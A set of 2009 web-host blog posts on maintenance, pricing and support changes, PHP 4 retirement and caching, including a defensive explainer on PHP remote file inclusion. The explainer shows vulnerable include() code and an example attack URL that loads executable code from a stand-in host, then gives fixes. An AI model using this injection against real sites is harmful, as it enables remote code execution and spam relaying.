The maintenance window will be from 10am to 4pm MST (5pm to 11pm UTC) on Friday, November 20th, 2009.

This will affect web hosting, email forwarding, and “support services” (i.e. our sites, SSH, FTP) for all members.

We don’t expect the actual downtime to be anything close to the whole time. In an ideal case, it would take us about an hour to prep and and hour to take everything down, move it, and bring it back up. However, this is the real world, not the ideal one, so we’re giving ourselves some additional room to maneuver.

I’m sure there’s someone out there for whom this is a spectacularly inconvenient time, and to them we sincerely apologize. Any time we picked for maintenance of this sort would be bad for somebody. We did strive to pick a low-usage time when we could guarantee the manpower we needed.

We also would have liked to provide more notice, but up until this evening any announcement would have been pretty much content-free. (”We will be scheduling a maintenance downtime of unknown length at an unknown point in the future.”) As of right now, we have a schedule we believe can be met (the original proposed date has already passed, so any earlier specific announcement would have turned out to be wrong), and so we’re bringing it to you as quickly as we can.

We apologize again for the inconvenience. On Friday, as every day, we’ll all be working hard to bring you the best, most reliable hosting service we can. “NEITHER RAIN NOR SNOW NOR GLOM OF NIT.”

Cleaning up the resulting messes is getting a little tedious and so, even though this is hardly a new exploit, I wanted to write a little bit about what the vulnerability is, how it works, how spammers exploit it, and how to keep your site safe.

Let’s start with the problem code. If you’ve written a PHP script on your site that contains code similar to the below, you’re probably vulnerable:

$page = $_GET['page'] . ".php";
include($page);

A lot of people seem to use code like this. If they call this script exploitme.php, then the URL’s for these type of sites wind up looking like this:

http://example.nfshost.com/exploitme.php?page=main
http://example.nfshost.com/exploitme.php?page=contact
http://example.nfshost.com/exploitme.php?page=faq

Then, they put the body of each page into main.php, contact.php, and faq.php. They put the stuff that’s the same on every page in exploitme.php and, presto, instant mini-CMS.

How does this get exploited?

When interacting with this script, the attacker has no need to limit themselves to the URLs the page author intended. What they use instead tends to look like this:

http://example.nfshost.com/exploitme.php?page=http://badsite.example.com/urhacked.txt%3F

Most people don’t know that include() will happily pull in the contents of that urhacked.txt file from some other site and execute it. The other site doesn’t even have to be running PHP; the exploit code could be on some other already-hacked site, or anywhere that the hacker can put a text file.

The “urhacked.txt” file actually contains whatever PHP commands the attacker wants to execute. Typically, this means sending out tons of spam, which comes from the vulnerable site. Spotting the huge email queue from a site that’s never sent email in its life is usually how we find out about it. But that’s not all they can do; this is an “arbitrary code” exploit. They can do whatever they want using the same privileges the exploited page has. Security researchers call exploits of this type the confused deputy problem.

What makes this particular vulnerability even worse is that it’s possible to detect and exploit automatically. Attackers are smart enough to query search engines for lists of pages with links embedded in the format shown above. All their attack script needs to do is identify the URL of your page and the name of the variable used to hold the target page.

This is a problem because a whole lot of people think “no one bad will ever find or bother trying to exploit my little site.” They don’t realize that it’s it’s no bother; it’s done completely automatically. If you’ve got a vulnerability like this, getting exploited is not “if,” it’s “when.”

Also, the %3F at the end of the attacker’s “page” value decodes into a question mark. This is because the attacker assumes the site will add .php or something to the name they give it to get the filename to load. So the URL that the site winds up loading looks like this:

http://badsite.example.com/urhacked.txt?.php

Assuming that urhacked.txt is a static file, the ? and everything after it will be discarded and the malicious contents will be returned no matter what the site adds at the end.

How to prevent it?

Our default permissions and user/group setup prevent a lot of these from getting worse; by default the attacker cannot execute system commands, create, remove, or (worse) edit files. But the attackers can (and do) send spam. And they can read any files on your site that contain stuff like database passwords you’d probably rather they didn’t have.

Worse, sometimes people irritated with the complexities of getting permissions and ownership exactly right leave things wide open. When that mindset encounters this vulnerability, the resulting damage to the affected site is usually unrecoverable.

So, the first thing one tends to want to do upon finding out about this is to disable the ability of PHP’s include() function to load files from remote sites. PHP allows this by adding the following to .htaccess:

php_flag allow_url_include false

This is a good start, and definitely something to consider, but one of the authors of the Suhosin PHP security patch explained why that is inadequate some years ago.

The second thing that seems obvious is using file_exists() to make sure the file really exists before trying to load it. But file_exists() works on URL’s too. D’oh!

There are two viable ways of eliminating this vulnerability.

The best approach, and the one we recommend, is not to create it in the first place. If you want five PHP pages to share a common header and footer (for example), then reverse the include(). In other words, the URL from the “main” example above:

http://example.nfshost.com/exploitme.php?page=main

changes to reference the main.php file directly:

http://example.nfshost.com/main.php

And then main.php looks like this:

<?php include(".../path/to/header.php"); ?>
The same main page content that was always there.
<?php include("…/path/to/footer.php"); ?>

This way, the exploitme.php script goes away (split into header and footer) and the site never has to trust the user about what belongs inside the very powerful include() statement. Adding a couple of lines (at most) of boilerplate code to each page of content is a small price to pay to entirely eliminate an entire category of security problems.

The second approach is to scrupulously validate the inputs before acting on them. Unfortunately it’s very easy to get this wrong. So to help people get it right, we’re going to walk through the four necessary steps. (All four are essential, skip any one and the whole exercise becomes an elaborate waste of time.) They are:

1. Examine and reject any input that isn’t entirely formed of “friendly” characters (e.g. letters and numbers).
2. Put the “content” files (e.g. main.php, contact.php, faq.php) in a special subdirectory of your site’s “protected” directory.*
3. Always refer to files handled in this way using absolute paths and/or system environment variables.
4. Test the existence of the file before you include it.

Here’s a simple example:

$page = $_GET['page'];
if (!preg_match("/^[A-Za-z0-9_]+$/", $page))
    throw new BadPageException("Bad character(s)", $page);
$path = "{$_SERVER['NFSN_SITE_ROOT']}/protected/pages/{$page}.php";
if (!file_exists($path))
    throw new BadPageException("Page not found", $page);
include($path);

class BadPageException extends Exception {
    function __construct($err, $page) {
        $page = urlencode($page);
        if (strlen($page) > 128)
            $page = substr($page, 0, 128) . "…";
        parent::__construct("Error \"{$err}\" on \"{$page}\"");
    }
}

Line 1 retrieves the page name from the query string.
Lines 2-3 abort if it isn’t composed entirely of ASCII letters, numbers, and the underscore (_). (Step 1)
Line 4 correlates the page name with a specific filename in a special directory just for these types of pages (Step 2) using an absolute path based on site-independent environment variables (Step 3)
Lines 5-6 abort if the resulting filename doesn’t exist. (Step 4)
Line 7 includes the file.
Lines 9-16 are probably overkill for a “simple” example, but we wanted to show people how to do it right in the real world. When something goes wrong, these lines document the problem. The complexity here comes from “defanging” the requested page name before printing it in an error message. Usually you would want to configure your site to write such messages to its error log, so this protects against 10 pages of gibberish, or codes that will mess up your terminal when you look at it, etc.

So that’s it, one of the most common classes of exploit explored and examined, complete with working sample code. Please, please if you code your own PHP, take a few minutes and check to see if your site suffers from this problem. We waste hours every week cleaning up the messes it causes, and we sure like to spend that time improving the service.

(Commented source available here.)

* For blog guests who may not be members of our service: On our service, each web site has a “public” directory and a “protected” directory. Files in “public” are directly accessible via the web, and files in “protected” are not. The contents of the “protected” directory are, however, accessible to scripts in the “public” directory. I.e., they can be accessed, but only indirectly by accessing the site’s public interface. This makes “protected” a good place to put data, include files, or other stuff that scripts need in order to run, but that you don’t want just anybody to download. The concept and terms are borrowed from object-oriented programming.

Those plans have now been finalized, and we will begin phasing them in this month.

Support Changes

We have broken up our human-provided support into three categories.

System Problem Reports

Any full member (sorry, not adjuncts) may submit a system problem report when they find something of ours malfunctioning that is affecting them. This might mean a site is down, or a MySQL process is crashed, or the member UI is giving them an error whenever they try to frotz the burin.

We will investigate the report as soon as we can (even outside our support hours if possible) and provide a brief response including a predefined finding and, at our option, a comment of up to one line. (This makes system problem reports not suitable for asking for other types of help.)

Assistance Requests

When a member needs us to do something that they are not able to do for themselves, either due to security limitations or a feature gap in our member interface, they can open an assistance request. These are no-cost support requests on specific topics that offer prepared guidance as far as what they encompass and what information you need to provide (if any). Examples include adding ssh keys, transferring stuff to someone else, or (whimper) canceling your membership.

We will take care of assistance requests during our regular support hours.

Secure Support Requests

These are the “catchall” for issues not covered by the other two avenues and not suitable for our member forums, and questions not covered by our FAQ or member wiki. This includes issues where you need us to investigate something on your behalf or provide basic advice about how our system works that isn’t covered elsewhere and isn’t suitable for our forum.

The following topics are specifically excluded from secure support issues because they are simply beyond the scope of the support we have the resources to provide:

• training of any sort
• web page design, uploading or consulting
• help using or configuring third-party software
• programming or debugging assistance
• re-explanation of things documented elsewhere on our site, other than very specific questions that have straightforward answers

Effective August 15th, 2009, you will need to have support points to open secure support issues. Support points will be available 10 for $5.00. They never expire, and can be “sold back” if you close your membership.

Each response we send you on a particular issue will carry a point cost from zero to ten points based on the time we spend and the complexity of the request, as determined by us. That cost will be deducted from your support points balance. If your support request requires multiple responses (e.g. multiple questions or back-and-forth exchanges), each response from us may carry a separate point cost. If you run out of support points, open tickets will be suspended until you add more, and new ones will not be able to be created.

The option to mark a secure support issue of “high” priority will be available for an extra up-front point cost: two support points during support hours and five support points outside support hours. While we frequently respond to “high” priority requests submitted outside business hours, we cannot guarantee any specific response time, only that we will look at them as soon as we can and, if necessary, move them to the front of the line when support opens.

Once the system has been operating for a few months, we will try to gather and make available some statistics about how much support requests cost to help members plan accordingly.

Service Pricing Changes

We are implementing five pricing changes:

The exact DNS charge will vary based on whether or not the domain is registered and/or hosted with us. See our public site for complete details; the detail page for each service is linked in the table above.

These changes will go into effect on or after September 1st, 2009 for affected services created after 2PM Eastern time today.

Temporary Grandfathering

Every site, domain, and MySQL process that existed at 2PM Eastern today has been exempted from these pricing changes until at least October 1st, 2009.

Beyond that, we’ve extended the grandfather period for each item by an amount based on when it was created. You will be able to see each “Exempt Until” date in the member interface later today.

The Road Ahead

We will be making many updates to the content of our public and member sites and our FAQ today to reflect these changes, so please bear with us while we go through that process. Once this post is up and our public site is updated, we will be doing a (rare) email notification to all of our members with funded accounts to inform them about the changes.

After that, we still have implementation and testing to do on these changes, so that’ll keep us busy for awhile.

Once that’s done, we do still plan to revise our single storage pricing fee into separate fees for storage and CPU/RAM usage to better apportion hardware costs to the sites that incur them (thereby sharply reducing the cost of hosting sites with large static content). We plan to do that in conjunction with the release of a couple of new features, hopefully within a few months.

Thank you!

Thanks for your patience with us while we worked out the changes that we feel will best befit our goal of continuing to promote legitimate freedom of expression by creating the best and most flexible hosting possible and offering it as affordably as possible to as many people as possible.

I’d like to (again) offer special thanks to the hundreds of people who offered comments, feedback, and suggestions in response to this proposal. You need only look at how different and how much better these changes are than our initial ideas to see what an impact you’ve had.

And, last but not least, thanks for being a member of NearlyFreeSpeech.NET!

Update

I thought I’d update this post to add some of the questions that seem to be getting asked over and over. Quite a bit of this was covered in the pricing discussion in our forums, but we recognize that not everybody wants to read 30+ pages of comments and feedback.

Q. Doesn’t this new pricing make your service very expensive?

No it does not. We ran the numbers, and over 50% of our current paid member accounts will pay less than $18.50 per year with our new pricing based on their current usage. That’s per year, not per month, and it includes domain registration fees, as well as MySQL, DNS, sites, bandwidth, email forwarding, and storage for everything they currently have set up with us.

We are 100% comfortable looking at those numbers and concluding from them that if 50% of our members can host, on average, multiple web sites including their supporting services and domain registration for about $1.50 a month, NearlyFreeSpeech.NET remains very affordable and a great value for small sites and light usage.

For people who work with our system to optimize their usage as much as they can, it’ll be even more affordable.

Q. Is it fair to charge a flat $0.01/day fee to tiny sites that used to pay a few cents per year?

Yes it is.

There are various ways to approach understanding this, but here’s the simplest way to explain it. “Fair” is defined by what happens if everybody does something. So, we ask this question: If every site were a small PHP/CGI-using site that got almost no traffic and got by on pennies per year, would we be able to stay in business from the revenue they generate? Quite simply, the answer is no.

That answer, all by itself, means that tiny sites are currently not paying their fair share. It means a baseline cost exists on a per-site basis regardless of the size of the site. (The details are quite a bit more complex and we’ll have to send you to the discussion thread for that.)

The followup question is: what is that baseline cost that needs to apply per-site to every single site, in order to make sure that we can continue in business if everybody ran tiny sites like that. It turns out that it’s $0.01/day. Every scheme that attempts to shift some or all of that expense to larger sites represents subsidizing small sites by charging large ones more. That is unfair.

Large sites already pay too much, as evidenced by the commenter below who remarked that he recently moved his site because it finally “got big” and implied that doing so was a foregone conclusion. Sadly, he’s not wrong. So, charging them more in order to preserve the “small site subsidy” is not an option.

We do understand that this is hard for many people to understand. We have spent seven years telling them that only machine costs matter, that it doesn’t cost anything to have people around to run the equipment for them 24×7, which is completely wrong, and we haven’t done anything to discourage “site sprawl” where people create sites at the drop of the hat because “they don’t cost anything.” These changes represent a huge shift, and we understand that some people will take time to adjust, and a few may not be willing or able to do so.

Q. Is it fair that all dynamic sites pay the same fee regardless of how processor intensive they are?

As far as the baseline fee which, as outlined above, we believe is fair for every site even if it does nothing at all, yes.

Beyond that, no. However, that isn’t a function of the per-site fee. Rather, the unfairness arises from tying sites’ resource-based billing solely to the amount of disk space used, rather than to some combination of disk space, CPU, and RAM. As outlined in the original blog post, this one, and many times in the discussion forums, we recognize and acknowledge the fundamental unfairness of that.

It is something we desperately need to move to correct. We will do so soon, but not now. The reasons for that have been covered elsewhere, so we will summarize them very simply by saying: we need this change to get to that change.

Q. If all this is true, how did you get this far?

At our current size, the founder of our company (that’s me) has been doing the work of 2-3 very expensive full time professionals without getting compensated for it. The effect of this has been to drastically hold down the cost of providing our service, that, even more than large sites, is where the existing subsidy of tiny sites comes from.

This introduces two problems. First, it doesn’t scale. As we continue to grow, the quantity of work increases but the quantity of founder does not. Second, it makes the operation of the company unacceptably dependent on one person; if anything bad ever happens to that person, the company and every member will be screwed because the money won’t be there to hire.

We’ve reached a point where we were faced with two choices: continue down that road and watch the quality of our service spiral into oblivion or take concrete steps to ensure that we have the people and resources to provide a strong, stable, sustainable organization that can provide the quality level we consider acceptable without being critically dependent on a single person who must never get sick, take a day off, or be killed by a falling bus. We chose the latter.

Q. How do I mark my site(s) as static so I won’t be charged the dynamic site fee?

Please see this entry in our FAQ.

We will provide additional reference information about static sites in the near future to help you get the most out of them.

Q. How do I minimize the impact of these changes on me?

There are several things you can do:

First and foremost, remove services you set up but aren’t using. This one is huge. So far, of the people who have written private feedback or cancelled, more people have commented that this change prompted them to clean up stuff they forgot about than have said they were put off by the pricing changes. One person said that after cleaning up stuff he wasn’t using, he’ll be paying less with the changes than he was before.

Second, make sure your domains are lined up with our registration, DNS, and hosting wherever possible. The “trifecta” discount for DNS is about 89%. If you’re using our service to provide DNS for random domains that are registered and hosted elsewhere, you’ll want to take a hard look at alternatives.

Third, switch to our static site type for any sites you have that don’t need scripting (PHP & CGI support). This includes the majority of sites built with web design tools.

Fourth, if you have a bunch of dynamic sites or multiple MySQL processes, explore what opportunities you may have to consolidate them. We will do a whole blog post sometime in the next few weeks discussing various options in this area. We also plan to offer features that will greatly enhance the power and flexibility of each site, a side effect of which will be making consolidation even easier, but of course we can only do that if doing so is financially viable (meaning we need these changes to be already in place).

Fifth, if you are using are email forwarding service, make sure you’re not doing so from inertia. It is a giant pain for us to maintain and eats a lot of resources, and it is priced accordingly. We consider it undoubtedly the worst value proposition of any service we offer as far as what you get for what you pay for. If you need it, we have it, but there are a lot of really good alternatives that are worth a look.

Q. Do you plan to give bulk discounts to people with tons of tiny sites?

We do not; this is behavior that incurs real costs for us. Such a plan would simply unfairly shift those costs onto people who use less services.

What we will do in the future is provide additional ways to do more with fewer sites, as outlined above.

Q. What are the moderation criteria for comments?

We have been able to approve almost all of the comments people have made on this posting, with a handful of exceptions.

Comments will not be approved if they:

• Ask questions that are off-topic or too tangential. (Please post them in our forums.)
• Repeat questions that have already been asked and answered.
• Threaten or insult us or other commenters
• Factually misrepresent the changes or their effects (such as claiming that we’ve instituted a fee to report system problems).

Most of that should be common sense, but we wanted to be very clear about it anyway.

One of the things we are running into with our pricing model is that the resource-based pricing we currently use doesn’t take everything into account, and doesn’t always do so accurately. That’s something we need to address.

For example, the price for storage is problematic, because it’s a machine resource we can measure, whereas CPU and RAM are (currently) not. It’s not that this charge is too high, as people sometimes like to use apples-to-oranges comparisons to claim, it’s that it’s improperly apportioned. People with large, static websites pay too much and people with small, CPU-intensive websites pay too little. This is a measurement problem more than anything, and it’s one we’ll address over time as we roll out the “arbitrary server process” technology that’s been under development for so long.

However, although that’s a good example, we have a more immediate problem that is not only keeping us from solving it but also gaining significance as we continue to grow. In addition to CPU and RAM, there is another hugely expensive resource that we are not recovering costs for: people. Since we are small organization that is very efficient and low-overhead, this comes in two forms: member support, which scales with the number of members we have, and system administration, which scales with the volume of services we provide.

Our service was designed with no “human” cost component because, at that time, I was the only person involved and I didn’t get paid. Support was intended to be limited to helping members when the system was broken, or with things that our system prevents them from doing themselves, and the service was priced accordingly. However, that was a long time ago. Now we have reached a point where over 50% (and approaching 75%) of our support requests do not fit the original design: they are from people who want to pay our prices but still get unlimited technical support and assistance. And we have to pay people to handle them. On average, each support request costs us $3.30, so that’s just not sustainable.

On the system administration front, our members (rightfully) expect us to provide a server environment that is carefully monitored, ruthlessly secured, relentlessly kept up to date, continually enhanced with new features, and where even the smallest performance and downtime problems are detected and responded to immediately by experts 365×24. But, despite that expectation, our members do not pay us to do so because here again, the prices were designed back in 2002 when I was the only person involved.

Therefore, as with support, the now-immense costs associated with system administration go unrecovered. Unlike support, the consequence is that we’re seriously understaffed in this area, and every NearlyFreeSpeech.NET member has in some way or another felt the repercussions: downtime, suboptimal performance, and endlessly delayed new features. As we continue to grow and the workload increases, the rate at which our list of unfinished to-dos expands simply accelerates. That, too, is unsustainable.

In order to properly staff NearlyFreeSpeech.NET to the level where we can provide the quality of service and support that our members expect, and get research and development of the new features everybody wants off of the 0-2-hours-a-week back burner, we need to start recovering an average of $2.50 more per member per month.

We’re going to do that, and we’re going to do it very, very soon. The only question is how we go about it. We want to be very careful not to repeat our storage pricing mistake: we want to apportion costs among our members as fairly and accurately as possible in proportion to their resource usage. That means imposing at least two new charge structures, one for support and one for system administration.

That’s because a whole lot of our members never use support at all. We strongly feel that they should not have to subsidize the other extreme: people who submit “high” priority support requests in the middle of the night demanding that we answer questions they could have just as easily found in our FAQ. So, what we’re leaning toward is a three-tier membership model:

- A “basic” membership, which carries no monthly charge but has no included support eligibility. Support requests can be submitted at normal or low priority for a $3.30 charge.

- A “standard” membership, which has a $1.00/month charge and includes one support request at normal or low priority per quarter. Additional support requests can be submitted at any priority for a $3.00 charge.

- A “premium” membership, which has a $2.50/month charge and includes one support request per month. Additional support requests can be submitted at any priority for a $2.50 charge.

In addition to support requests, our forum will remain free-to-post and we plan to implement a system to compensate the dedicated forum participants who we recognize are volunteering their time to make our service better by helping out their fellow members.

On the other hand, every single member needs us to have sufficient system administration resources to keep things running. The best plan we’ve come up with so far is to consider the “objects” that form a person’s services. As we define it, each of these is one object:

- one web site
- DNS for a single domain
- one MySQL process
- email forwarding for one domain

We’re considering applying a one-cent-per-day-per-object system administration surcharge to each account. The average member has 5 objects, so that would be an increase of about $1.50/month to them. That seems pretty reasonable in exchange for ensuring that we have the staff needed to keep an important website secure and available. But for people who need to squeeze out the maximum hosting-per-penny, it’ll still be possible to host a site in our domain (or with 3rd party DNS) that uses SQLite and limit the system administration surcharge to one penny per day.

Neither of these plans are finalized, but we’re moving rapidly in that direction. I’m posting this now for two reasons. First, because we’re committed to transparency in a way that nobody else can touch, and that demands we do so. Second, because we want to get as much constructive, helpful feedback as we can about how we can fairly distribute these costs over our member base.

Threats to cancel if we do (or don’t do) XYZ will be ignored. Simple economics dictates that any increase in prices will decrease demand; we already know that whatever we do will cause some people to stop using our service.

Some people may genuinely not be able to afford any increase; to those who are not able to rearrange their usage under whatever plan we come up with to reach a cost structure they can afford, we apologize that we are likewise not able to afford continuing to subsidize them. But we expect the loudest complaints to come from a small subset of members who voraciously consume our time and feel entitled to do so for free. This latter group is essentially strangling our business, so although converting such people to have sustainable, success-aligned goals (where they and we both gain) is our first choice, eliminating them as members if they are unwilling to cooperate is an inferior but acceptable alternative.

Likewise, exhortations not to change anything “because its fine the way it is” will also go unheeded, because it is not fine the way it is. We are not happy with the system quality we are able to deliver at current levels, so our options are to raise prices for the people incurring the costs or start zeroing in on members that we lose money on and terminating them, just like a lot of web hosts already do. And if that’s not enough to convince you, head over the the feature voting page and take a look at how far behind we are.

NearlyFreeSpeech.NET is not on the precipice of doom or anything; we balance our checkbook at the end of every month without going into the red, just like we’ve always done, and there is usually money left over for pizza. That, by us, is success. But we can see that if we don’t take corrective action, the quality of our service will inch downward until it reaches a threshold of “it’s cheap, but it sucks” that we’re not willing to approach, let alone cross. Knowing that we need to do something, the responsible approach is to do it as soon and as well as we can. So here we are.

Currently, we have to draw money out of our service and hardware budget to pay our human costs. With these changes, human costs will be paid for by the new charges instead. If things turn out the way we expect, we plan to use part of what that frees up from existing revenues to accelerate our service buildout (software and hardware) and we plan to return part in the form of reduced costs on some of our services. But first, we have to see things turn out the way we expect. So the changes outlined above aren’t intended to be the final word on the subject: things will get a bit more expensive, and then they should get a bit cheaper again.

As I said at the beginning, NearlyFreeSpeech.NET is not designed to turn a profit, its fee structure is designed to recover the costs of providing the service in the most fair and straightforward manner. That will remain true, even as we make the necessary adjustment to include the human cost in our fee structure. “As cheap as possible, but no cheaper.”

Thanks for your time, for being a member of NearlyFreeSpeech.NET, and, I hope, for your valuable feedback as we contemplate the best way to implement this change together.

We want the response to this to be a discussion, and blog comments don’t allow the easy quoting and attribution needed to facilitate that — I cringe every time I have to edit someone’s comment to add a response — so we are closing comments on the blog post and directing follow-ups to this thread in our discussion forum. That discussion is going to move fast, decisions will be made quickly, and changes will follow sooner rather than later. So if you want to be heard, now is the time.

Update

Based on the feedback we have received, we have made several significant changes to the plan. A summary is presented here for people who don’t want to read the whole discussion thread. This is getting close to being finalized, but is not yet set in stone, so please feel free to provide additional feedback. We would like to announce the final plan to all members via email sometime around the weekend, if possible.

Pricing Changes

Support Pricing

With this change, most support will be provided through the use of “support points,” which can be purchased in increments of 10 for $5. Unused support points do not expire and can be “sold back” when a membership is closed.

Submitting a support request will require you to have at least 1 support point. Each response you receive will be assigned a cost from 0 to 10 support points based on the time and complexity of the request, as determined by us, which will be deducted from your support points balance. If your support request requires multiple responses (e.g. back-and-forth exchanges), each response from us may carry a separate point cost. If you run out of support points, open tickets will be suspended until you add more, and new ones will not be able to be created.

Certain requests will default to zero points until they are implemented as features in the UI. These include:

- SSH key management
- Your first IP access control modification in a given week
- Chowning files from the “web” user to your site UID.
- asset transfers between members/accounts
- Canceling membership

We plan to implement “stub” features in the UI to open tickets for these types of requests without the need to obtain support points. If additional help is needed with such a request (such as troubleshooting a non-working ssh key), we may assign point costs as appropriate to cover our involvement.

The option to mark a request as “high” priority will be available. This will require 2 support points during our business day and 5 points at other times. This is a way to bump your request to the front of the line. While we frequently respond to “high” priority requests submitted outside business hours, we cannot guarantee any specific response time, only that they will be handled no later than first the following day.

To prevent people from having to pay a fee to report problems, we will implement a “problem report” option that will allow opening a ticket even if zero support points are available. To minimize misuse, our responses to such will be minimal, possibly stock answers, unless we need more information. In cases where misuse is a recurring problem, we reserve the right to block individual members from submitting problem reports. We intend to treat problem reports as high priority requests unless the rate of false positives proves problematic for us.

The estimated effective date for new support charges is August 1st – 15th.

Hosting Pricing Changes

Our new table of hosting service fees will be as follows:

- Bandwidth – $1/GB “or less” (existing sliding scale)
- Storage – $0.01/megabyte-month*
- Web Sites – $0.01/day/site
- First MySQL process – $0.02/day
- Additional MySQL process – $0.03/day
- InnoDB MySQL – $0.01/day/process
- DNS service – $0.01/day/zone
- RespectMyPrivacy – $0.01/day/domain
- Email Forwarding – $0.03/day/domain
- Domain Registration – $8.59/domain/year

Two discounts will be available when this change takes effect.

With respect to DNS, if the domain is registered with us or if www.(domain) is pointed at a site hosted here, then the DNS object pricing will be cut by a factor of 3 ($0.01/3-days). If both apply, then the DNS object pricing will be cut by a factor of 9 ($0.01/9-days). (This is a bit of a conscious effort on our part to reward people who are using our DNS and domain registration the way we intend — with our hosting.)

With respect to the per-site charge, sites using the currently-experimental “static content” site type will be exempt from the fee, as we will be handling those sites in a way that requires significantly less overall maintenance on our part.

*It is our intention to reduce storage pricing and add a “workload” billing factor to account for CPU/RAM resources used. It is our intention that this change will be revenue-neutral with the current storage charge but will more accurately apportion the machine costs of providing the service between individual sites. Specifics and timeframe are TBD.

The estimated effective date for new hosting charges is September 1st – October 1st.

Site Canonical Names

Site canonical names and types can now be set from the member interface by selecting the “Set Canonical Name” action from the site info panel. No more waiting for support requests!

For your information…

The site information panel for each site will now display a “For your information…” box if our system detects potential problems with your site, ranging from missing favicon.ico files to insecure “public” directory permissions.

Domain transfer codes

Domain transfer codes (needed for outbound domain transfers) can now be obtained from the member interface if the domain is unlocked. Please don’t use this feature, we really hate seeing domains transferred away!

Organization-owned accounts

Accounts can now be held in the name of an organization, such as a business, NGO, or club. This is designed to complement role membership, but should be useful for web developers hosting one or more business customers’ sites as well.

Alternate Emergency Contacts

The unintended consequence of having as draconian a privacy policy as we do and enforcing a strict 1:1 relationship between memberships and people is that we’ve had a couple of gut-wrenching cases arise where a company’s domain expired and their regular webmaster, who manages their account with us, was not available for whatever reason. In such situations, people tend to wind up screaming us about service interruptions we’re obligated not to talk to them about.

To help address that, you can now appoint an “alternate emergency contact” on a per-account basis. This is someone who can step in and take a limited subset of actions, like renewing a domain or depositing additional funds to keep a site running, if you’re unavailable. Finally, all our members managing their company’s or customers’ websites can go on vacation! (See our member FAQ for complete details.)

phpMyAdmin

phpMyAdmin has received a significant version upgrade. In addition, we have changed the way we interface with it so you can now use it to connect to MySQL processes other than your own. So if you’re managing MySQL for a friend, you no longer need to maintain a private copy of phpMyAdmin. (Naturally this feature will alert us if someone attempts to abuse it.) phpMyAdmin has been moved up to the main MySQL tab in our member interface since it is no longer process-specific. It’s now also possible to directly bookmark the phpMyAdmin login page if it’s something you access frequently.

Please note the “exit / log out” option in phpMyAdmin is very thorough; it will log you all the way out of our member interface! Click our logo in the upper left instead if you want to escape phpMyAdmin but remain logged in.

That’s all… for now! These are small things, but they represent the tip of the behind-the-scenes changes we needed to do to make certain longstanding feature requests able to work in our interface. Hopefully they will also improve the member experience a little bit while we get that finished up.

Wordpress uses a handful of rewrite rules to present “pretty URLs” to visitors:

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^(.+) - [PT,L]
RewriteRule ^(.*) index.php

What this does is that if the file or directory the visitor is asking for doesn’t exist in the site’s filesystem (as blog entries do not), it pushes the request into the WordPress engine to be handled. WordPress doesn’t do very well when asked to serve things that do not exist. There are a lot of things that a particular link could be, and it has to check them all before finally erroring out.

Since favicon.ico doesn’t exist but gets requested at least once by everyone who even thinks about visiting the site, it was causing a huge amount of server load to generate all these 404 pages that nobody would ever see.

With the site owner’s permission, we created a zero-length favicon.ico file in the site’s public directory until they could make one themselves, and the problem immediately went away. The change was so immediately and so profound that we felt compelled to blog about it.

While this happened on WordPress, it’s worth remembering for any application or custom code that drives every incoming request into a PHP or CGI handler. Everybody who visits your site (and some people who don’t) will request /favicon.ico, so make sure you know what happens when they do.

Preferably before FARK and company get ahold of it!

Our system still works with PHP 4, and we still have about 32.5% of our active hosted sites running on PHP 4. But its days are clearly numbered, so we’re taking appropriate, measured steps to curtail PHP 4 support on our network as well. We’ve removed most public references to PHP 4, and using our interface it’s no longer possible to switch a site to PHP 4, only away from it. With that done, we’re not making specific plans to go out and yank PHP 4 out from under our members whose sites are still using it before they are ready.

However, our plans are not the only factor at work. Sooner or later, a security problem or critical bug will emerge with PHP 4 that we won’t be able to fix ourselves or work around. Without developer support, we’ll be out of options. So the same day that happens, every PHP 4 site we host will be upgraded to the then-current version of PHP 5 whether they’re ready or not.

We have no way to predict if or when that will happen. Therefore, if your site is running PHP 4, you should make plans to upgrade your site sometime soon at a time when you’ll be available to handle any issues that arise. The upgrade is pretty straightforward, and problems are fairly rare, but it’s still better to block out a bit of time just in case.

To help people make this move, I want to address three points.

1. What version of PHP is my site running?

To find the version of PHP used by your site, go the site info panel for your site (click on the site name on the Sites tab), and look for the Server Type line in the Config Information box. If it says “Apache 1.3, PHP 4 Fast, CGI” then that site is running PHP 4. If it says PHP 5 Fast or PHP 5 Flex, then you don’t need to worry, because that site is already up-to-date.

2. How do I upgrade my site?

From the same page, select the Change Server Type action from the Actions box. Select the “Apache 1.3, PHP 5 Fast, CGI” radio button, and click the “Save Changes” button. Give it about 5 minutes, and your site should be up and running on PHP 5 with negligible disruption. The actual switchover should be nearly instant, it just sometimes takes a few minutes to process. When upgrading your site, do not accidentally choose the PHP 5 Flex option; it is a special-purpose option that will cause slower performance and much bigger compatibility issues in most cases.

3. What kind of problems could I have when upgrading?

Most people won’t have any problems at all. If you’re running a prewritten application developed by someone else (e.g. WordPress), then just make sure you are running an up-to-date version identified by the developers as working with PHP 5. That’s about it.

For people who program their own sites, we do have a few tips. When we upgraded our own PHP code from PHP 4 to PHP 5, the main thing that bit us was that “public” and “protected” are now reserved words in PHP 5. So, a couple of variable names ($public) had to be changed. There’s also an HTTP extension (pecl_http) we provide with PHP 5 with some common function names that sometimes collide with names others might have used in PHP 4 (http_request, http_get); if your site uses functions with these names, they’ll have to be renamed. We encountered similar issues with a SOAP library provided by our domain registrar for interacting with their system.

There is also some ugly, ugly code floating around that redefines $this inside objects in PHP 4. That should be fixed, because it was a bad idea in the first place. We encountered it in the PEAR Net_DNS module and a couple of other similar places.

The official PHP site provides a helpful list of backward-incompatible changes in PHP 5. In addition to the main content, the comments on that page are also quite helpful.

If people have other tips for migrating from PHP 4 to PHP 5, please feel free to submit them as comments.

But please, if you have a site still running on PHP 4, update it soon, at a time of your choosing, rather than waiting until the choice is taken away.

One thing we have always done is ensured that URLs that contain ? or .php or .cgi could not be processed by the reverse proxies. In order to provide more robust support for very active PHP-driven sites that need to integrate with caching functionality, we have elected to stop doing this. By default, the output of PHP and CGI scripts will still not be considered cache-eligible, but you now have the option to override this using an Expires: or Cache-Control: header if you want.

In the bad old days, the list of “don’t ever cache URLs that look like this” was very necessary to deal with badly broken browsers and web servers and scripting languages that were often written without so much as a passing glance at the RFCs.

Things have improved a lot since then, so we’re dropping this seven-year-old restriction to let people make the most of the Internet as it is now, not just as it was then. The most visible effect of this change is that it will eliminate the case where http://example.nfshost.com/ might get cached and http://example.nfshost.com/index.php might not, even though the same process generates the same output for both URLs.

In other words, this isn’t enabling anything that wasn’t previously possible, it’s just that you used to have to use mod_rewrite to conceal the fact that you were running a script. You can still do that, of course, you just don’t have to anymore.

